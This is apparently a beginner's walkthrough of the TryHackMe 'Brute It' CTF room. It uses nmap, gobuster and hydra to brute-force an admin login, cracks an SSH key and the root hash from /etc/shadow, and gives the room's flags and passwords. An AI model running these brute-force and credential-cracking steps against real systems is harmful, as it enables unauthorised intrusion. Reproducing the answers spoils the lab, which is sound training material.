TryHackMe — Brute It (Walkthrough & Beginner’s Guide)

Introduction

“Brute It” on TryHackMe is a beginner-friendly CTF that teaches core hacking skills — from brute-forcing logins to cracking SSH keys and escalating to root. In this write-up, I’ll walk you through every step I used to capture both flags.

You can access the official room here: https://tryhackme.com/room/bruteit

Step 1: Reconnaissance

Once connected to the TryHackMe VPN, the first step is to identify open ports and services on the target machine. We’ll use Nmap for this.

nmap -sC -sV -Pn -T4 10.201.110.82

From this scan, we see two key services:

• Port 22 (SSH) → Could be used for remote login if we get valid credentials.
• Port 80 (HTTP) → Likely hosting a web application that might have vulnerabilities.

Our next step is to explore the website on port 80 and look for hidden directories.

Step 2: Directory Enumeration

With port 80 open, the next step is to check the web server for hidden files or directories that might lead us to sensitive areas like admin panels. For this, we’ll use Gobuster.

gobuster dir -u http://10.201.110.82 -w /usr/share/wordlists/dirb/common.txt

gobuster dir -u http://10.201.110.82 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://IP_ADDRESS
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     html,py,txt,php,css
[+] Timeout:        10s
===============================================================
2025/07/12 21:29:01 Starting gobuster
===============================================================
...
/admin (Status: 301)
/index.html (Status: 200)
/index.html (Status: 200)
/server-status (Status: 403)
===============================================================
2025/07/11 21:30:04 Finished
===============================================================

The result shows an **/admin** directory, which might be a login page. Let’s visit it in the browser to see what it contains.

When opening /admin, we find a login form. Checking the page source, there’s a comment revealing a potential username for the login attempt. This is a good starting point for a brute-force attack.

Step 3: Brute-Forcing the Admin Login

From the /admin page, we have a login form but no password. Viewing the page source reveals a comment with the username:

Now that we have the username, we can use Hydra to brute-force the password.

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.201.110.82 http-post-form "/admin/:user=admin&pass=^PASS^:invalid"
...
[VERBOSE] Page redirected to http://10.201.110.82/admin/panel/
[ATTEMPT] target $IP_ADDRESS - login "admin" - pass "disney" - 523 of 14344398 [child 0] (0/0)
[ATTEMPT] target $IP_ADDRESS - login "admin" - pass "rabbit" - 524 of 14344398 [child 7] (0/0)
[ATTEMPT] target $IP_ADDRESS - login "admin" - pass "54321" - 525 of 14344398 [child 13] (0/0)
[ATTEMPT] target $IP_ADDRESS - login "admin" - pass "fashion" - 526 of 14344398 [child 14] (0/0)
[ATTEMPT] target $IP_ADDRESS - login "admin" - pass "soccer1" - 527 of 14344398 [child 15] (0/0)
[80][http-post-form] host: $IP_ADDRESS   login: admin   password: xavier

With these credentials, we can log into the admin panel. Inside, we find an encrypted RSA private key for a user named john — this could be our way into the system via SSH.

Step 4: Cracking the RSA Key & SSH Access

After logging into the admin panel, we find:

A web flag → THM{brut3_f0rce_is_e4sy}

• A username: john
• A downloadable id_rsa private key

Convert key for cracking

curl http://10.201.110.82/admin/panel/id_rsa > id_rsa
python3 /usr/share/john/ssh2john.py id_rsa > hash

Crack with John the Ripper:

john hash --wordlist=/usr/share/wordlists/rockyou.txt

Output:

rockinroll (id_rsa)

Passphrase: rockinroll

SSH into the machine

chmod 600 id_rsa
ssh -i id_rsa john@10.201.110.82

Enter the passphrase when prompted, then read the user flag

cat user.txt

THM{a_password_is_not_a_barrier}

Step 5: Privilege Escalation

Privilege Escalation

After getting access as john, I checked what commands I could run with sudo:

john@bruteit:~$ sudo -l

It showed that I could run /bin/cat as root without a password. This means I could read any file on the system, even files that normally need root access.

So, I used it to read the /etc/shadow file (this file stores password hashes for all users):

sudo cat /etc/shadow

From the output, I copied the root password hash (everything from $6$ until the next :) and saved it into a file called root.hash using nano:

nano root.hash

Inside nano, I pasted the hash, saved with CTRL + O, pressed Enter, then exited with CTRL + X.

Now I cracked the hash with John the Ripper:

john root.hash --wordlist=/usr/share/wordlists/rockyou.txt

After a short time, John found the root password:

football

I switched to the root user:

su root
Password: football

Now I was root! I went to the /root directory and read the final flag:

cat /root/root.txt
THM{pr1v1l3g3_3sc4l4t10n}

Conclusion

The Brute It machine was a great way to practice real hacking techniques step-by-step. I learned how to use different tools like Hydra for brute-forcing, John the Ripper for cracking password hashes, and how to find privilege escalation paths. Starting from scanning the target 10.10.215.101, I moved from basic access to full root control. Overall, it was a fun and clear example of how small misconfigurations can lead to a complete system compromise.